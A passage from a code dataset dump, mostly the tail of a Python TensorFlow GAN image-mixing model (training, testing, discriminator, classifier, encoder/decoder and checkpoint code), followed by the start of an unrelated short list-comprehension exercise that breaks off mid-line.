break\n\n except Exception as e:\n if hasattr(e, 'message') and 'is closed and has insufficient elements' in e.message:\n print('Done training -- epoch limit reached')\n else:\n print('Exception here, ending training..')\n print('>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>')\n print(e)\n tb = traceback.format_exc()\n print(tb)\n print('<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<')\n if iteration > 0:\n self.save(params.checkpoint_dir, iteration) # save model again\n finally:\n # When done, ask the threads to stop.\n coord.request_stop()\n coord.join(threads)\n # END of train()\n\n\n def test(self, params):\n \"\"\"Test DCGAN\"\"\"\n \"\"\"For each image in the test set create a mixed scene and save it (ie run for 1 epoch).\"\"\"\n\n print(\"test -->\")\n\n fid_model_dir = os.path.join(params.log_dir, params.test_from, params.metric_model_folder)\n print('Loading variables from ' + fid_model_dir)\n ckpt = tf.train.get_checkpoint_state(fid_model_dir)\n if ckpt and params.metric_model_iteration:\n # Restores dump of given iteration\n ckpt_name = self.model_name + '-' + str(params.metric_model_iteration)\n else:\n raise Exception(\" [!] Testing, but %s not found\" % fid_model_dir)\n ckpt_file = os.path.join(fid_model_dir, ckpt_name)\n params.test_from_file = ckpt_file\n print('Reading variables to be restored from ' + ckpt_file)\n self.saver.restore(self.sess, ckpt_file)\n print('use model \\'%s\\'...' % ckpt_name)\n\n self.initialize_uninitialized(tf.global_variables(), \"global\")\n self.initialize_uninitialized(tf.local_variables(), \"local\")\n\n # simple mechanism to coordinate the termination of a set of threads\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=self.sess, coord=coord)\n\n try:\n signal.signal(signal.SIGTERM, self.handle_exit)\n\n num_gen_imgs = 0\n\n file_out_dir = params.metric_fid_out_dir\n file_all_out_dir = params.metric_fid_out_dir_all\n file_all_grid = [1, 7]\n img_all_range = randint(0, 9000)\n\n # for spectral normalization: initialize parameters u,v (i.e. left and right singular vectors of W)\n update_ops = tf.get_collection(SPECTRAL_NORM_UPDATE_OPS)\n for update_op in update_ops:\n self.sess.run(update_op)\n\n csv_file = os.path.join(params.metric_fid_dir, 'filenames_test_%s_ep%s.csv' % (params.test_from, str(params.metric_model_iteration)))\n with open(csv_file, mode='w') as csvf:\n csv_writer = csv.writer(csvf, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\n iteration = 1\n\n while not coord.should_stop():\n images_mix, images_mix_gen, images_Iref, images_t1, images_t2, images_t3, images_t4, ass_actual, \\\n fnames_Iref, fnames_t1, fnames_t2, fnames_t3, fnames_t4 = \\\n self.sess.run([self.images_I_M_mix, self.images_I_ref_I_M_mix, self.images_I_ref, self.images_t1, self.images_t2, self.images_t3, self.images_t4, self.assignments_actual, \\\n self.fnames_I_ref, self.images_t1_fnames, self.images_t2_fnames, self.images_t3_fnames, self.images_t4_fnames])\n\n if self.params.dump_testset_only:\n self.dump_testset(images_Iref, images_mix, images_mix_gen, ass_actual, iteration)\n else:\n for i in range(self.batch_size): # for each image in batch\n num_gen_imgs = num_gen_imgs + 1\n img_mix = images_mix[i]\n img_mix_gen = images_mix_gen[i]\n fIr = d(fnames_Iref[i])\n ft1 = d(fnames_t1[i])\n ft2 = d(fnames_t2[i])\n ft3 = d(fnames_t3[i])\n ft4 = d(fnames_t4[i])\n\n ass_actual_i = ass_actual[i]\n ass_str_i = ''\n for ass in ass_actual_i:\n ass_str_i += str(ass)\n\n # print file in folder 'images' for later metrics calculations\n fname_mix = 'img_mix_gen_%s.png' % num_gen_imgs\n t_name = os.path.join(file_out_dir, fname_mix)\n imsave(t_name, img_mix_gen)\n\n fname_fmix = 'img_mix_%s.png' % num_gen_imgs\n tf_name = os.path.join(params.metric_fid_out_mixed_feature, fname_fmix)\n imsave(tf_name, img_mix)\n\n if img_all_range <= num_gen_imgs < (img_all_range + 150): # dump 150 images\n # print all files involved in the mix into separate folder 'images_all' for showcases\n file = \"%s-%s-%s-%s-%s-%s-%s\" % (fIr, ft1, ft2, ft3, ft4, ass_str_i, fname_mix)\n out_dir = os.path.join(file_all_out_dir, file)\n save_images_7cols(images_Iref[i], images_t1[i], images_t2[i], images_t3[i], images_t4[i], img_mix, img_mix_gen, file_all_grid, None, out_dir, addSpacing=4)\n csv_writer.writerow([fIr, ft1, ft2, ft3, ft4, ass_str_i, fname_mix])\n\n if num_gen_imgs % 300 == 0:\n print(num_gen_imgs)\n\n if self.end:\n print('going to shutdown now...')\n break\n\n iteration += 1\n\n except Exception as e:\n if hasattr(e, 'message') and 'is closed and has insufficient elements' in e.message:\n print('Done training -- epoch limit reached')\n else:\n print('Exception here, ending training..')\n print('>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>')\n print(e)\n tb = traceback.format_exc()\n print(tb)\n print('<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<')\n finally:\n # When done, ask the threads to stop.\n coord.request_stop()\n coord.join(threads)\n\n # END of test()\n print(\"test <--\")\n\n\n def path(self, filename):\n return os.path.join(self.params.summary_dir, filename)\n\n def discriminator(self, image, keep_prob=0.5, reuse=False, y=None):\n assert self.params.discriminator_coordconv is not self.params.discriminator_patchgan\n\n if self.params.discriminator_coordconv:\n return self.discriminator_coordconv(image, keep_prob, reuse, y)\n\n if self.params.discriminator_patchgan:\n return self.discriminator_patchgan(image, reuse)\n\n return self.discriminator_std(image, keep_prob, reuse, y)\n\n def discriminator_std(self, image, keep_prob=0.5, reuse=False, y=None):\n if reuse:\n tf.get_variable_scope().reuse_variables()\n\n # cf. DCGAN impl https://github.com/carpedm20/DCGAN-tensorflow.git\n h0 = lrelu(conv2d(image, self.df_dim, use_spectral_norm=True, name='d_1_h0_conv'))\n h1 = lrelu(conv2d(h0, self.df_dim*2, use_spectral_norm=True, name='d_1_h1_conv'))\n\n h2 = lrelu(conv2d(h1, self.df_dim * 4, use_spectral_norm=True, name='d_1_h2_conv'))\n\n #################################\n ch = self.df_dim*4\n x = h2\n h2 = attention(x, ch, sn=True, scope=\"d_attention\", reuse=reuse)\n #################################\n\n h3 = lrelu(conv2d(h2, self.df_dim * 8, use_spectral_norm=True, name='d_1_h3_conv'))\n\n # NB: k=1,d=1 is like an FC layer -> to strengthen h3, to give it more capacity\n h3 = lrelu(conv2d(h3, self.df_dim*8,k_h=1, k_w=1, d_h=1, d_w=1, use_spectral_norm=True, name='d_1_h4_conv'))\n h4 = linear(tf.reshape(h3, [self.batch_size, -1]), 1, use_spectral_norm=True, name='d_1_h4_lin')\n\n # return tf.nn.sigmoid(h4)\n return h4\n\n\n def discriminator_coordconv(self, image, keep_prob=0.5, reuse=False, y=None):\n if reuse:\n tf.get_variable_scope().reuse_variables()\n\n # cf. DCGAN impl https://github.com/carpedm20/DCGAN-tensorflow.git\n\n h0 = lrelu(conv2d(coord_conv(image), self.df_dim, use_spectral_norm=True, name='d_1_h0_conv'))\n h1 = lrelu(conv2d(coord_conv(h0), self.df_dim*2, use_spectral_norm=True, name='d_1_h1_conv'))\n\n h2 = lrelu(conv2d(coord_conv(h1), self.df_dim * 4, use_spectral_norm=True, name='d_1_h2_conv'))\n\n #################################\n ch = self.df_dim*4\n x = h2\n h2 = attention(x, ch, sn=True, scope=\"d_attention\", reuse=reuse)\n #################################\n\n h3 = lrelu(conv2d(coord_conv(h2), self.df_dim * 8, use_spectral_norm=True, name='d_1_h3_conv'))\n\n # NB: k=1,d=1 is like an FC layer -> to strengthen h3, to give it more capacity\n h3 = lrelu(conv2d(coord_conv(h3), self.df_dim*8,k_h=1, k_w=1, d_h=1, d_w=1, use_spectral_norm=True, name='d_1_h4_conv'))\n\n # TODO not sure if linear layer should be replaced with another CoordConv layer?\n h4 = linear(tf.reshape(h3, [self.batch_size, -1]), 1, use_spectral_norm=True, name='d_1_h4_lin')\n\n # return tf.nn.sigmoid(h4)\n return h4\n\n\n def discriminator_patchgan(self, image, reuse=False):\n if reuse:\n tf.get_variable_scope().reuse_variables()\n\n dsc = Deep_PatchGAN_Discrminator(addCoordConv=False)\n\n res = dsc(image)\n print('dsc: ', res.shape)\n\n return res\n\n\n def classifier(self, images_I_mix, images_I_ref, images_I_t1, images_I_t2, images_I_t3, images_I_t4, reuse=False):\n return self.classifier_six_image(images_I_mix, images_I_ref, images_I_t1, images_I_t2, images_I_t3, images_I_t4, reuse)\n\n\n def classifier_six_image(self, images_I_mix, images_I_ref, images_I_t1, images_I_t2, images_I_t3, images_I_t4, reuse=False):\n \"\"\"From paper:\n For the classifier, we use AlexNet with batch normalization after each\n convolutional layer, but we do not use any dropout. The image inputs of\n the classifier are concatenated along the RGB channels.\n\n returns: a 1D matrix of size NUM_TILES i.e. (batch_size, NUM_TILES)\n \"\"\"\n if reuse:\n tf.get_variable_scope().reuse_variables()\n\n concatenated = tf.concat(axis=3, values=[images_I_mix, images_I_ref, images_I_t1, images_I_t2, images_I_t3, images_I_t4])\n assert concatenated.shape[0] == self.batch_size\n assert concatenated.shape[1] == self.image_size\n assert concatenated.shape[2] == self.image_size\n assert concatenated.shape[3] == 3 * 6\n\n b = True\n if b:\n assert False, \"check sigmoid!\"\n\n return self.alexnet_impl(concatenated, images_I_mix, reuse)\n\n\n def classifier_two_image(self, images_I_mix, images_I_ti, reuse=False):\n \"\"\"From paper:\n For the classifier, we use AlexNet with batch normalization after each\n convolutional layer, but we do not use any dropout. The image inputs of\n the classifier are concatenated along the RGB channels.\n\n returns: a 1D matrix of size NUM_TILES i.e. (batch_size, NUM_TILES)\n \"\"\"\n if reuse:\n tf.get_variable_scope().reuse_variables()\n\n concatenated = tf.concat(axis=3, values=[images_I_mix, images_I_ti])\n assert concatenated.shape[0] == self.batch_size\n assert concatenated.shape[1] == self.image_size\n assert concatenated.shape[2] == self.image_size\n assert concatenated.shape[3] == 3 * 2\n\n return self.alexnet_impl(concatenated, images_I_mix, reuse)\n\n\n def alexnet_impl(self, concatenated, images_I_mix, reuse=False):\n conv1 = self.c_bn1(conv(concatenated, 96, 8,8,2,2, padding='VALID', name='c_3_s0_conv'))\n pool1 = max_pool(conv1, 3, 3, 2, 2, padding='VALID', name='c_3_mp0')\n\n conv2 = self.c_bn2(conv(pool1, 256, 5,5,1,1, groups=2, name='c_3_conv2')) # o: 256 1. 160\n pool2 = max_pool(conv2, 3, 3, 2, 2, padding='VALID', name='c_3_pool2')\n\n conv3 = self.c_bn3(conv(pool2, 384, 3, 3, 1, 1, name='c_3_conv3')) # o: 384 1. 288\n\n conv4 = self.c_bn4(conv(conv3, 384, 3, 3, 1, 1, groups=2, name='c_3_conv4')) # o: 384 1. 288\n\n conv5 = self.c_bn5(conv(conv4, 256, 3, 3, 1, 1, groups=2, name='c_3_conv5')) # o: 256 1. 160\n\n # Comment 64: because of img size 64 I had to change this max_pool here..\n # --> undo this as soon as size 128 is used again...\n assert images_I_mix.shape[1] == 64\n # pool5 = max_pool(conv5, 3, 3, 2, 2, padding='VALID', name='c_3_pool5')\n # reduces size from (32, 2, 2, 256) to (32, 1, 1, 256)\n pool5 = max_pool(conv5, 2, 2, 1, 1, padding='VALID', name='c_3_pool5')\n\n fc6 = tf.nn.relu(linear(tf.reshape(pool5, [self.batch_size, -1]), 4096, name='c_3_fc6') ) # o: 4096 1. 3072\n\n fc7 = tf.nn.relu(linear(tf.reshape(fc6, [self.batch_size, -1]), 4096, name='c_3_fc7') ) # o: 4096 1. 3072\n\n self.fc8 = linear(tf.reshape(fc7, [self.batch_size, -1]), NUM_TILES_L2_MIX, name='c_3_fc8')\n\n # return tf.nn.sigmoid(self.fc8)\n return self.fc8\n\n\n def encoder(self, tile_image, reuse=False):\n return self.encoder_conv(tile_image)\n\n\n def encoder_conv(self, tile_image, reuse=False):\n \"\"\"\n returns: 1D vector f1 with size=self.feature_size\n \"\"\"\n if reuse:\n tf.get_variable_scope().reuse_variables()\n\n s0 = lrelu(instance_norm(conv2d(tile_image, self.df_dim, k_h=4, k_w=4, use_spectral_norm=True, name='g_1_conv0')))\n s1 = lrelu(instance_norm(conv2d(s0, self.df_dim * 2, k_h=4, k_w=4, use_spectral_norm=True, name='g_1_conv1')))\n s2 = lrelu(instance_norm(conv2d(s1, self.df_dim * 4, k_h=4, k_w=4, use_spectral_norm=True, name='g_1_conv2')))\n s3 = lrelu(instance_norm(conv2d(s2, self.df_dim * 8, k_h=2, k_w=2, use_spectral_norm=True, name='g_1_conv3')))\n # s4 = lrelu(instance_norm(conv2d(s3, self.df_dim * 4, k_h=2, k_w=2, d_h=1, d_w=1, use_spectral_norm=True, name='g_1_conv4')))\n s4 = lrelu(instance_norm(conv2d(s3, self.df_dim * 2, k_h=2, k_w=2, d_h=1, d_w=1, use_spectral_norm=True, name='g_1_conv4')))\n # Comment 64: commented out last layer due to image size 64 (rep was too small..)\n # --> undo this as soon as size 128 is used again...\n assert tile_image.shape[1] == 32\n rep = s4\n # rep = lrelu(instance_norm(conv2d(s4, self.df_dim * 2, k_h=2, k_w=2, d_h=2, d_w=2, use_spectral_norm=True, name='g_1_conv5')))\n # TODO Qiyang: why linear layer here?\n #rep = lrelu((linear(tf.reshape(s5, [self.batch_size, -1]), self.feature_size, use_spectral_norm=True, name='g_1_fc')))\n\n rep = tf.reshape(rep, [self.batch_size, -1])\n assert rep.shape[0] == self.batch_size\n assert rep.shape[1] == self.feature_size_tile\n\n return rep\n\n\n def encoder_linear(self, tile_image, reuse=False):\n \"\"\"\n returns: 1D vector f1 with size=self.feature_size\n \"\"\"\n if reuse:\n tf.get_variable_scope().reuse_variables()\n\n s0 = lrelu(instance_norm(conv2d(tile_image, self.df_dim, k_h=4, k_w=4, use_spectral_norm=True, name='g_1_conv0')))\n s1 = lrelu(instance_norm(conv2d(s0, self.df_dim * 2, k_h=4, k_w=4, use_spectral_norm=True, name='g_1_conv1')))\n s2 = lrelu(instance_norm(conv2d(s1, self.df_dim * 4, k_h=4, k_w=4, use_spectral_norm=True, name='g_1_conv2')))\n s3 = lrelu(instance_norm(conv2d(s2, self.df_dim * 6, k_h=2, k_w=2, use_spectral_norm=True, name='g_1_conv3')))\n s4 = lrelu(instance_norm(conv2d(s3, self.df_dim * 8, k_h=2, k_w=2, d_h=1, d_w=1, use_spectral_norm=True, name='g_1_conv4')))\n\n # TODO Qiyang: why linear layer here?\n rep = lrelu((linear(tf.reshape(s4, [self.batch_size, -1]), self.feature_size_tile, use_spectral_norm=True, name='g_1_fc')))\n\n assert rep.shape[0] == self.batch_size\n assert rep.shape[1] == self.feature_size_tile\n\n return rep\n\n\n def decoder(self, inputs, preset_model, dropout_p=0.2):\n return decoder_dense(inputs, self.batch_size, self.feature_size, preset_model=preset_model, dropout_p=dropout_p)\n\n\n def decoder_std(self, representations, reuse=False):\n \"\"\"\n returns: batch of images with size 256x60x60x3\n \"\"\"\n if reuse:\n tf.get_variable_scope().reuse_variables()\n\n reshape = tf.reshape(representations, [self.batch_size, 1, 1, NUM_TILES_L2_MIX * self.feature_size_tile])\n\n h = deconv2d(reshape, [self.batch_size, 4, 4, self.gf_dim*4], k_h=4, k_w=4, d_h=1, d_w=1, padding='VALID', use_spectral_norm=True, name='g_de_h')\n h = tf.nn.relu(h)\n\n h1 = deconv2d(h, [self.batch_size, 8, 8, self.gf_dim*4], use_spectral_norm=True, name='g_h1')\n h1 = tf.nn.relu(instance_norm(h1))\n\n h2 = deconv2d(h1, [self.batch_size, 16, 16, self.gf_dim*4], use_spectral_norm=True, name='g_h2')\n h2 = tf.nn.relu(instance_norm(h2))\n\n h3 = deconv2d(h2, [self.batch_size, 32, 32, self.gf_dim*2], use_spectral_norm=True, name='g_h3')\n h3 = tf.nn.relu(instance_norm(h3))\n\n # #################################\n # ch = self.gf_dim*4\n # x = h3\n # h3 = attention(x, ch, sn=True, scope=\"g_attention\", reuse=reuse)\n # #################################\n\n h4 = deconv2d(h3, [self.batch_size, 64, 64, self.gf_dim*1], use_spectral_norm=True, name='g_h4')\n h4 = tf.nn.relu(instance_norm(h4))\n\n # Comment 64: commented out last layer due to image size 64 (rep was too small..)\n # --> undo this as soon as size 128 is used again...\n assert self.image_size == 64\n #h5 = deconv2d(h4, [self.batch_size, 128, 128, self.gf_dim*1], use_spectral_norm=True, name='g_h5')\n #h5 = tf.nn.relu(instance_norm(h5))\n\n # h6 = deconv2d(h5, [self.batch_size, 128, 128, self.c_dim], use_spectral_norm=True, name='g_h6')\n # h6 = tf.nn.relu(instance_norm(h6))\n\n # From https://distill.pub/2016/deconv-checkerboard/\n # - last layer uses stride=1\n # - kernel should be divided by stride to mitigate artifacts\n #h6 = deconv2d(h5, [self.batch_size, 128, 128, self.c_dim], k_h=1, k_w=1, d_h=1, d_w=1, use_spectral_norm=True, name='g_h7')\n h5 = h4\n h6 = deconv2d(h5, [self.batch_size, 64, 64, self.c_dim], k_h=1, k_w=1, d_h=1, d_w=1, use_spectral_norm=True, name='g_h7')\n\n return tf.nn.tanh(h6)\n\n\n def reconstruct_I_ref_f(self, tile_id, a_tile_chunk):\n f_mix_tile_feature = self.f_I_ref_I_M_mix_hat[:, tile_id * self.feature_size_tile:(tile_id + 1) * self.feature_size_tile]\n assert f_mix_tile_feature.shape[0] == self.batch_size\n assert f_mix_tile_feature.shape[1] == self.feature_size_tile\n t_f_I_ref_tile_feature = self.I_ref_f[:, tile_id * self.feature_size_tile:(tile_id + 1) * self.feature_size_tile]\n assert t_f_I_ref_tile_feature.shape[0] == self.batch_size\n assert t_f_I_ref_tile_feature.shape[1] == self.feature_size_tile\n tile_assignments = tf.slice(self.assignments_actual, [0, tile_id], [self.batch_size, 1])\n assert tile_assignments.shape[0] == self.batch_size\n assert tile_assignments.shape[1] == 1\n f_feature_selected = tf.where(tf.equal(tile_assignments * a_tile_chunk, FROM_I_REF), f_mix_tile_feature, t_f_I_ref_tile_feature)\n assert f_feature_selected.shape == a_tile_chunk.shape\n self.I_ref_f_hat = f_feature_selected if tile_id == 0 else tf.concat(axis=1, values=[self.I_ref_f_hat, f_feature_selected])\n return f_mix_tile_feature, tile_assignments\n\n\n def make_summary_ops(self, g_loss_comp, losses_l2):\n tf.summary.scalar('loss_g', self.g_loss)\n if self.useIRefAndMixForGanLoss:\n tf.summary.scalar('loss_g_mix', self.g_loss_mix)\n tf.summary.scalar('loss_g_ref', self.g_loss_ref)\n tf.summary.scalar('loss_g_comp', g_loss_comp)\n tf.summary.scalar('loss_L2', losses_l2)\n tf.summary.scalar('loss_cls', self.cls_loss)\n tf.summary.scalar('loss_dsc', self.dsc_loss)\n tf.summary.scalar('loss_dsc_fake', self.dsc_loss_fake)\n if self.useIRefAndMixForGanLoss:\n tf.summary.scalar('loss_dsc_fake_Iref', self.dsc_loss_fake_Iref)\n tf.summary.scalar('loss_dsc_real', self.dsc_loss_real)\n tf.summary.scalar('rec_loss_Iref_hat_I_ref', self.rec_loss_I_ref_hat_I_ref)\n tf.summary.scalar('rec_loss_I_ref_4_I_ref', self.rec_loss_I_ref_4_I_ref)\n tf.summary.scalar('rec_loss_I_t1_hat_I_t1', self.rec_loss_I_t1_hat_I_t1)\n tf.summary.scalar('rec_loss_I_t1_4_I_t1', self.rec_loss_I_t1_4_I_t1)\n tf.summary.scalar('rec_loss_I_t2_4_I_t2', self.rec_loss_I_t2_4_I_t2)\n tf.summary.scalar('rec_loss_I_t3_4_I_t3', self.rec_loss_I_t3_4_I_t3)\n tf.summary.scalar('rec_loss_I_t4_4_I_t4', self.rec_loss_I_t4_4_I_t4)\n tf.summary.scalar('psnr_images_I_ref_hat', self.images_I_ref_hat_psnr)\n tf.summary.scalar('psnr_images_I_ref_4', self.images_I_ref_4_psnr)\n tf.summary.scalar('psnr_images_t1_4', self.images_t1_4_psnr)\n tf.summary.scalar('psnr_images_t3_4', self.images_t3_4_psnr)\n tf.summary.scalar('dsc_I_ref_mean', self.dsc_I_ref_mean)\n tf.summary.scalar('dsc_I_ref_I_M_mix_mean', self.dsc_I_ref_I_M_mix_mean)\n tf.summary.scalar('V_G_D', self.v_g_d)\n tf.summary.scalar('c_learning_rate', self.c_learning_rate)\n\n images = tf.concat(\n tf.split(tf.concat([self.images_I_ref, self.images_I_ref_hat, self.images_I_ref_4,\n self.images_I_M_mix, self.images_I_ref_I_M_mix], axis=2), self.batch_size,\n axis=0), axis=1)\n tf.summary.image('images', images)\n\n #_ TODO add actual test images/mixes later\n #_ tf.summary.image('images_I_test_hat', self.images_I_test_hat)\n\n accuracy1 = tf.metrics.accuracy(predictions=tf.argmax(self.assignments_predicted_t1, 1),\n labels=tf.argmax(self.assignments_actual_t1, 1),\n updates_collections=tf.GraphKeys.UPDATE_OPS)\n tf.summary.scalar('classifier/accuracy_t1_result', accuracy1[1])\n accuracy2 = tf.metrics.accuracy(predictions=tf.argmax(self.assignments_predicted_t2, 1),\n labels=tf.argmax(self.assignments_actual_t2, 1),\n updates_collections=tf.GraphKeys.UPDATE_OPS)\n tf.summary.scalar('classifier/accuracy_t2_result', accuracy2[1])\n accuracy3 = tf.metrics.accuracy(predictions=tf.argmax(self.assignments_predicted_t3, 1),\n labels=tf.argmax(self.assignments_actual_t3, 1),\n updates_collections=tf.GraphKeys.UPDATE_OPS)\n tf.summary.scalar('classifier/accuracy_t3_result', accuracy3[1])\n accuracy4 = tf.metrics.accuracy(predictions=tf.argmax(self.assignments_predicted_t4, 1),\n labels=tf.argmax(self.assignments_actual_t4, 1),\n updates_collections=tf.GraphKeys.UPDATE_OPS)\n tf.summary.scalar('classifier/accuracy_t4_result', accuracy4[1])\n return accuracy1[1], accuracy2[1], accuracy3[1], accuracy4[1]\n\n\n def save(self, checkpoint_dir, step):\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n path = os.path.join(checkpoint_dir, self.model_name)\n get_pp().pprint('[1] Save model to {} with step={}'.format(path, step))\n self.saver.save(self.sess, path, global_step=step)\n # Save model after every epoch -> is more coherent than iterations\n # if step > 1 and np.mod(step, 25000) == 0:\n # self.save_metrics(step)\n\n def save_metrics(self, step):\n # save model for later FID calculation\n path = os.path.join(self.params.metric_model_dir, self.model_name)\n get_pp().pprint('[2] Save model to {} with step={}'.format(path, step))\n self.saver_metrics.save(self.sess, path, global_step=step)\n # as test calc fid directly for 5 epochs (motive: test proper persistence of all weights) -> should yield same FID!!\n # if step <= 5:\n # print('calc FID now -->')\n # impl....\n # print('calc FID now <--')\n\n def load(self, params, iteration=None):\n print(\" [*] Reading checkpoints...\")\n\n checkpoint_dir = os.path.join(params.log_dir, params.continue_from, params.checkpoint_folder)\n print('Loading variables from ' + checkpoint_dir)\n\n ckpt = tf.train.get_checkpoint_state(checkpoint_dir)\n if ckpt and iteration:\n # Restores dump of given iteration\n ckpt_name = self.model_name + '-' + str(iteration)\n elif ckpt and ckpt.model_checkpoint_path:\n # Restores most recent dump\n ckpt_name = os.path.basename(ckpt.model_checkpoint_path)\n else:\n raise Exception(\" [!] Testing, but %s not found\" % checkpoint_dir)\n\n ckpt_file = os.path.join(checkpoint_dir, ckpt_name)\n params.continue_from_file = ckpt_file\n print('Reading variables to be restored from ' + ckpt_file)\n self.saver.restore(self.sess, ckpt_file)\n return ckpt_name\n\n def handle_exit(self, signum, frame):\n self.end = True\n\n def dump_testset(self, images_I_ref, images_mix, images_mix_gen, ass_actual, i):\n print('dump_testset -->')\n\n dump_testset_dir = os.path.join(self.params.metric_fid_dir, \"dump_testset\")\n if not os.path.exists(dump_testset_dir):\n os.makedirs(dump_testset_dir, exist_ok=True)\n print('created dump_testset_dir: %s' % dump_testset_dir)\n\n st = to_string(ass_actual)\n # act_batch_size = min(self.batch_size, 1)\n act_batch_size = self.batch_size\n\n grid = [act_batch_size, 3]\n filename = os.path.join(dump_testset_dir, '%s_I_ref_I_mix_I_mix_gen_%s.png' % (str(i), st))\n save_images_6cols(images_I_ref, images_mix, images_mix_gen, None, None, None, grid, act_batch_size, filename, maxImg=act_batch_size, batch=True)\n\n print('dump_testset <--')\n\n\n def dump_images(self, counter):\n print('dump_images -->')\n\n img_I_ref, img_t1, img_t2, img_t3, img_t4, \\\n img_I_M_mix, img_I_ref_I_M_mix, \\\n img_I_ref_hat, \\\n img_I_ref_4, img_t2_4, \\\n ass_actual, \\\n ass_actual_t1, \\\n ass_actual_t2, \\\n ass_actual_t3, \\\n ass_actual_t4, \\\n ass_pred_t1, \\\n ass_pred_t2, \\\n ass_pred_t3, \\\n ass_pred_t4, \\\n psnr_I_ref_hat, psnr_I_ref_4, psnr_t1_4, psnr_t3_4 = \\\n self.sess.run([self.images_I_ref, self.images_t1, self.images_t2, self.images_t3, \\\n self.images_t4, self.images_I_M_mix, self.images_I_ref_I_M_mix, \\\n self.images_I_ref_hat, \\\n self.images_I_ref_4, self.images_t2_4, \\\n self.assignments_actual, \\\n self.assignments_actual_t1, \\\n self.assignments_actual_t2, \\\n self.assignments_actual_t3, \\\n self.assignments_actual_t4, \\\n tf.nn.sigmoid(self.assignments_predicted_t1), \\\n tf.nn.sigmoid(self.assignments_predicted_t2), \\\n tf.nn.sigmoid(self.assignments_predicted_t3), \\\n tf.nn.sigmoid(self.assignments_predicted_t4), \\\n self.images_I_ref_hat_psnr, self.images_I_ref_4_psnr, self.images_t1_4_psnr, self.images_t3_4_psnr])\n\n fnames_Iref, fnames_t1, fnames_t2, fnames_t3, fnames_t4 = \\\n self.sess.run([self.fnames_I_ref, self.images_t1_fnames, self.images_t2_fnames, self.images_t3_fnames, self.images_t4_fnames])\n\n st = to_string(ass_actual)\n act_batch_size = min(self.batch_size, 16)\n\n grid = [act_batch_size, 5]\n save_images_5cols(img_I_ref, img_I_ref_hat, img_I_ref_4, img_I_M_mix, img_I_ref_I_M_mix, grid, act_batch_size, self.path('%s_images_I_ref_I_M_mix_%s.png' % (counter, st)), maxImg=act_batch_size)\n\n print(\"filenames iteration %d: >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\" % counter)\n print(\"filenames I_ref..: %s\" % to_string2(fnames_Iref))\n print(\"filenames I_t1...: %s\" % to_string2(fnames_t1))\n print(\"filenames I_t2...: %s\" % to_string2(fnames_t2))\n print(\"filenames I_t3...: %s\" % to_string2(fnames_t3))\n print(\"filenames I_t4...: %s\" % to_string2(fnames_t4))\n print(\"filenames iteration %d: <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\" % counter)\n\n\n print('PSNR counter....: %d' % counter)\n print('PSNR I_ref_hat..: %.2f' % psnr_I_ref_hat)\n print('PSNR I_ref_4....: %.2f' % psnr_I_ref_4)\n print('PSNR I_t1_4.....: %.2f' % psnr_t1_4)\n print('PSNR I_t3_4.....: %.2f' % psnr_t3_4)\n\n print('assignments_actual ---------------------->>')\n print('comp.: %s' % st)\n print('t1...: %s' % to_string(ass_actual_t1))\n print('t2...: %s' % to_string(ass_actual_t2))\n print('t3...: %s' % to_string(ass_actual_t3))\n print('t4...: %s' % to_string(ass_actual_t4))\n print('assignments_actual ----------------------<<')\n print('assignments_predic ---------------------->>')\n print('t1...: %s' % to_string(ass_pred_t1))\n print('t2...: %s' % to_string(ass_pred_t2))\n print('t3...: %s' % to_string(ass_pred_t3))\n print('t4...: %s' % to_string(ass_pred_t4))\n print('assignments_predic ----------------------<<')\n\n print('dump_images <--')\n\n def print_model_params(self, t_vars):\n count_model_params(self.dsc_vars, 'Discriminator')\n g_l_exists = False\n for var in self.gen_vars:\n if 'g_1' in var.name:\n g_l_exists = True\n break\n if g_l_exists:\n enc_vars = [var for var in self.gen_vars if 'g_1' in var.name]\n dec_vars = [var for var in self.gen_vars if 'g_1' not in var.name]\n count_model_params(enc_vars, 'Generator (encoder)')\n count_model_params(dec_vars, 'Generator (decoder)')\n count_model_params(self.gen_vars, 'Generator (encoder/decoder)')\n count_model_params(self.cls_vars, 'Classifier')\n count_model_params(t_vars, 'Total')\n\n\n def initialize_uninitialized(self, vars, context):\n is_not_initialized = self.sess.run([tf.is_variable_initialized(var) for var in vars])\n not_initialized_vars = [v for (v, f) in zip(vars, is_not_initialized) if not f]\n\n print(\"#not initialized variables '%s': %d\" % (context, len(not_initialized_vars))) # only for testing\n if len(not_initialized_vars):\n print(not_initialized_vars)\n self.sess.run(tf.variables_initializer(not_initialized_vars))\n\n\ndef to_string2(li, elem_sep=\",\"):\n st = ''\n for e in li:\n st += e.decode(\"utf-8\")\n if elem_sep:\n st += elem_sep\n st = st[:-1]\n return st\n\n\ndef d(elem):\n return elem.decode(\"utf-8\").split(\".jpg\")[0]\n\n\ndef to_string(ass_actual, elem_sep=None):\n st = ''\n for list in ass_actual:\n for e in list:\n st += str(e)\n if elem_sep:\n st += elem_sep\n st += '_'\n st = st[:-1]\n return st\n\ndef count_model_params(all_vars, name):\n total_parameters = 0\n for variable in all_vars:\n # shape is an array of tf.Dimension\n shape = variable.get_shape()\n #print(shape)\n #print(len(shape))\n variable_parameters = 1\n for dim in shape:\n #print(dim)\n variable_parameters *= dim.value\n #print(variable_parameters)\n total_parameters += variable_parameters\n print('>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>')\n print('number of model parameters [%s]: %d' % (name, total_parameters))\n print('<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<')\n\n\n\n","sub_path":"src/final_model/lorbms_model_exp73.py","file_name":"lorbms_model_exp73.py","file_ext":"py","file_size_in_byte":76988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"564534616","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov 29 19:13:07 2019\r\n\r\n@author: g440051\r\n\"\"\"\r\n#n = int(input())\r\n#print(range(1,(n+1)),sep='')\r\n\r\n#print(*range(1,3))\r\n\r\nx,y,z,n = (int(input()) for _ in range(0,4))\r\n\r\nprint([[i,j,k] for i in range(0,x+1) for j in 